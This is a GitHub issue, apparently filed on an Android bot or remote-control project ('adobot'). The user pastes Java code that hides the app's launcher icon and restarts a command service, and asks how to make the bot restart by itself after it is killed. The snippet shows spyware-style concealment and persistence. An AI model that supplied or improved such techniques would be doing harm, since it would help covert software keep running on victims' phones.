Skip to content

Bot Dies no Ressurrection #10

Open
@buffer1900

Description

@buffer1900

I tried Killing it and waited for some minutes nothing 30 minutes bot is offline,,
i have tried this :
PackageManager i = getApplicationContext().getPackageManager();
i.setComponentEnabledSetting(getComponentName(),PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);

    if(isMyServiceRunning()==false)
    {
        startService(new Intent(getApplicationContext(), CommandService.class));
        Log.i("com.android.adobot","startService");

private boolean isMyServiceRunning() {
ActivityManager manager = (ActivityManager) getApplicationContext().getSystemService(Context.ACTIVITY_SERVICE);
for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
if (CommandService.class.getName().equals(service.service.getClassName())) {
return true;
}
}
return false;
}

nothing works
Bot offline.
How i wish its able to auto start after killing that's apply same as the phone shutting down then restarts so the app auto starts.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions